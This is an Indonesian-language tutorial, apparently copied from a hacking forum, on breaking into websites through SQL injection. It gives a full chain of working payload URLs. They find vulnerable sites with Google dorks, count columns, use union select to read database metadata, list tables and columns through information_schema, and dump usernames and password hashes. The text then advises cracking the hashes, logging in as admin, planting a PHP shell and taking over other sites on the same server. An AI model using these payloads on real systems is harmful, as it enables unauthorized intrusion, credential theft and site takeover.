hacking website with sql injection

6
1 http://www.cyberforum-online.com Hacking Website With SQL Injection Penulis : kahfiehudson Pengertian SQL INJECTION : SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya menggunakan database untuk penyimpanan data. Yang perlu di ketahui sebelum sql injection pada mysql : 1. Cari Target + Bugnya Cara mencarinya adalah dengan dork sql injection. Misalnya inurl:index.php?id=search dengan om GOOGLE, misalkan kita mendapatkan alamat situs Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan sebuah tanda petik pada akhir url, sehingga urlnya menjadi lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya menampilkan pesan error, berarti parameter id tidak di filter dengan baik atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi memiliki bug SQL Injection salah satunya adalah menggunakan perintah and+1=1-- karakter: ' atau comments: /* atau information_schema untuk versi: mysql versi 5.x ( tidak support untuk mysql versi 4.x ) http://www.target.com/index.php?id=4 http://www.target.com/index.php?id=4

Upload: abdillah-m-mustafa

Post on 25-Dec-2015

16 views

Category:

Documents


4 download

DESCRIPTION

hacking

TRANSCRIPT

Page 1: Hacking Website With SQL Injection

1

http://www.cyberforum-online.com

Hacking Website With SQL Injection

Penulis : kahfiehudson

Pengertian SQL INJECTION :

SQL injection adalah sebuah aksi hacking yang dilakukan di aplikasi client

dengan cara memodifikasi perintah SQL yang ada di memori aplikasi client dan

juga merupakan teknik mengeksploitasi web aplikasi yang didalamnya

menggunakan database untuk penyimpanan data.

Yang perlu di ketahui sebelum sql injection pada mysql :

1. Cari Target + Bugnya

Cara mencarinya adalah dengan dork sql injection. Misalnya

inurl:”index.php?id=” search dengan om GOOGLE, misalkan kita

mendapatkan alamat situs

Lalu untuk mengetahui suatu web memiliki bug SQL injection, tambahkan

sebuah tanda petik pada akhir url, sehingga urlnya menjadi

lalu tekan enter dan apa yang terjadi pada situs tersebut? Situsnya

menampilkan pesan error, berarti parameter id tidak di filter dengan baik

atau bahkan tidak difilter sama sekali. Untuk mengetahui suatu web aplikasi

memiliki bug SQL Injection salah satunya adalah menggunakan perintah

and+1=1--

karakter: ' atau –

comments: /* atau –

information_schema untuk versi: mysql versi 5.x

( tidak support untuk mysql versi 4.x )

http://www.target.com/index.php?id=4

http://www.target.com/index.php?id=4’

Page 2: Hacking Website With SQL Injection

2

http://www.cyberforum-online.com

Ketika di tambahkan parameter +and+1=1-- pada akhir URL, situsnya tampil

dengan normal karena 1=1 menghasilkan nilai true.

Dan ketika di tambahkan parameter +and+1=2-- isi berita tidak dapat

ditampilkan karena 1=2 hasilnya false dan ini membuktikan bahwa web

aplikasi tersebut 99.9% memiliki bug SQL Injection

2. Cari Column Yang Memiliki Celah Injection

Setelah saya tau bahwa web tersebut memiliki Bug SQL Injection saya harus

mencari tau nama table dan column, tapi sebelum itu saya harus mencari

tau pada column ke berapa saya bisa melakukan Injection, untuk itu saya

menggunakan perintah +order+by+ perhatikan url berikut.

url diatas jika di coba satu persatu akan menampilkan situsnya secara

normal. Tapi ketika saya menginputnya dengan order+by+6-- apa yang

terjadi??? Browser menampilkan pesan error. Dari pesan error tersebut bisa

dipastikan terdapat 5 buah column yang terdapat disalah satu table yang

belum kita ketahui namanya. Berarti yang kita ambil sampai +order+by+5--

saja.

3. Gunakan Perintah Union Select

Setelah saya mengetahui terdapat 5 buah column pada target, selanjutnya

yaitu mencari column yang bisa dilakukan injeksi. Untuk itu saya

menggunakan perintah +union+select+ (pakai union all select juga bisa koq)

sehingga urlnya menjadi :

http://www.target.com/index.php?id=4+and+1=1--

http://www.target.com/index.php?id=4+and+1=2--

http://www.target.com/index.php?id=4+order+by+1--

http://www.target.com/index.php?id=4+order+by+2--

http://www.target.com/index.php?id=4+order+by+3--

http://www.target.com/index.php?id=4+order+by+4--

http://www.target.com/index.php?id=4+order+by+5--

Page 3: Hacking Website With SQL Injection

3

http://www.cyberforum-online.com

Dan apa yang tampak di browser tidak ada yang aneh bukan? situsnya

tampil dengan normal. Tetapi jika parameter id saya ganti menjadi -4 yang

pastinya tidak ada isi data -4 di Database.

Oke disini browser menampilkan angka 2 & 3, dan angka inilah yang sering

disebut dengan angka ajaib, karena angka tersebut adalah letak column

dimana attacker bisa melakukan injeksi lebih lanjut.

4. Cari informasi Database Target

Dengan tampilnya angka ajaib tersebut anda bisa 'mengintip' beberapa

informasi seperti nama database, nama user database, versi database, sessi

user dll. Untuk melihat nama database, injeksi urlnya menjadi

Dan disini browser menampilkan nama database yaitu xyb_injector. Saya

mencoba mengintip lagi nama user database pada situs tersebut dengan

menginjeksinya pada column ke-2 dan versi pada column ke-3 dan url

injeksinya menjadi :

Ternyata user dabasenya root@localhost dan beruntung sekali karena versi

mysql yang di gunakan adalah versi 5.0.51a-community, lho emang kenapa

kalo versi 5??? Karena bisa dilanjutin bacanya :D, kalo misalkan versi 4

tinggalin aja deh, cari target baru, hahahaha ☺.

Coba anda perhatikan, anda hanya bisa meng-injeksi satu perintah pada

satu column. Bisakah meng-injeksi lebih dari satu perintah pada satu

http://www.target.com/index.php?id=4+union+select+1,2,3,4,5--

http://www.target.com/index.php?id=-4+union+select+1,2,3,4,5--

http://www.target.com/index.php?id=-4+union+select+1,database(),3,4,5--

http://www.target.com/index.php?id=-4+union+select+1,user(),version(),4,5--

Page 4: Hacking Website With SQL Injection

4

http://www.cyberforum-online.com

colums??? Heheheh tentu saja bisa dong, untuk itu anda bisa menggunakan

perintah yang sudah disediakan langsung oleh mysql yaitu perintah

concat(perintah1,perintah2). Contoh dibawah ini saya meng-intip nama user

dan nama database pada column ke-2 dan pada column ke-3 saya

mengintip versi databasenya.

5. Dapatkan Nama Table

Saya sudah mendapatkan informasi database web tersebut, sebenarnya

yang saya butuhkan hanyalah versi databasenya saja, seperti yang sudah

anda lihat, versi database yang ditampilkan adalah 5.0.51a-community dan

tentu ini memudahkan saya dalam mendapatkan table dengan

menggunakan perintah table_name pada column yang memiliki bug yaitu

angka 2 atau 3 pada web tersebut. Di akhir statement tambahkan

from+information_schema.tables+where+table_schema=database()+limit+0,1

--

Sehingga urlnya menjadi :

Di web tersebut tampil sebuah table bernama "table_attacker". Untuk

melihat seluruh table sekaligus gunakan perintah group_concat(table_name)

pada column yang memiliki bug, sehingga urlnya menjadi

Hihihi sip, seluruh table berhasil saya dapatkan, diantara table tersebut, table

manakah yang harus saya telusuri lebih jauh lagi??? table_user sepertinya

menarik :P yuk kita lihat apa isinya.

6. Dapatkan Nama Column

http://www.target.com/index.php?id=4+union+select+1,concat(u

ser(),0x3a,database()),version(),4,5--

http://www.target.com/index.php?id=4+union+select+1,2,table_name,4,5+from

+information_schema.tables+where+table_schema=database()+limit+0,1--

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(table_n

ame),4,5+from+information_schema.tables+where+table_schema=database()--

Page 5: Hacking Website With SQL Injection

5

http://www.cyberforum-online.com

table_user sudah saya dapatkan selanjutnya yaitu mencari nama column

pada table tersebut, untuk itu saya menggunakan perintah

group_concat(column_name) sehingga urlnya menjadi

pada tahap ini kamu wajib mengextrak kata yang keluar pada isi table tadi

menjadi hexadecimal yaitu dengan cara mengkonversinya. Salah satu

website yg digunakan untuk konversi :

Contoh kata yg ingin di konversi yaitu table_user maka akan menjadi

7461626c655f75736572 ini masih belum selesai, anda harus menambahkan

angka 0 dan huruf x pada awal hasil hexa tersebut sehingga hasilnya

menjadi 0x7461626c655f75736572 dan inilah yang akan kita injeksikan pada

nama tabel. Sehingga urlnya menjadi

Alhasil nama column dari table_user sudah saya dapatkan yaitu user_id dan

password_id.

7. Dapatkan Usename & Password

Saya sudah mendapatkan nama table “table_user” yang berisi 2 buah

column yaitu “user_id” dan “password_id” dan akhirnya anda sudah sampai

di detik-detik terakhir yaitu menampilkan isi data dari column tersebut.

Tambahkan 0x3a pada group_concat(hasil isi column yg mau

dikeluarkan,0x3a, hasil isi column yg mau dikeluarkan) perintah

+from+(nama table berasal) dimasukkan setelah angka terakhir sehingga

urlnya menjadi :

Tampillah seluruh username dan password dari situs tersebut. Biasanya

password yang kita dapat sudah terenkripsi dalam bentuk md5 atau enkripsi

yang lainnya. Untuk menterjemahkannya anda bisa mencari website yang

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_

name),4,5+from+information_schema.columns+where+table_name=0xhexa--

http://www.string-functions.com/string-hex.aspx

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(column_n

ame),4,5+from+information_schema.columns+where+table_name=0x7461626c655

f75736572--

http://www.target.com/index.php?id=4+union+select+1,2,group_concat(user_id,0

x3a,password_id),4,5+from+table_user--

Page 6: Hacking Website With SQL Injection

6

http://www.cyberforum-online.com

menyediakan cracking password atau dengan tool cracking password.

Setelah itu anda tinggal mencari halaman log in admin dan masuki

sistemnya. Setelah memasuki sistem biasanya hacker menanamkan php shell

untuk lebih gampang keluar masuk dan bisa mengexplore isi dari website

tersebut terlebih lagi si hacker bisa melakukan teknik jumping sehingga

semua website yang berada dalam 1 server yang sama dengan website

yang terkena hack tersebut bisa di ambil alih oleh hacker tersebut,

berbahaya sekali bukan?

Referensi : Explore Your Brain, Indonesian Coder

My Team :

Bekasi Cyber Community, CyberForum-Online, Indonesian Hacker Team, Medan Hackers

Thank’s To :

Bekasi Cyber Community, CyberForum-Online, Indonesian Hacker Team, Medan Hackers,

Palembang Hacker Link, Muslim Hackers, Soldier Of Allah, Codenesia, Xcode, Hacker Newbie,

Forum Balikita, Devilzc0de, Jasakom, Yogya Carder Link, All Indonesian Hackers Forum, All

Indonesian Defacer, and YOU.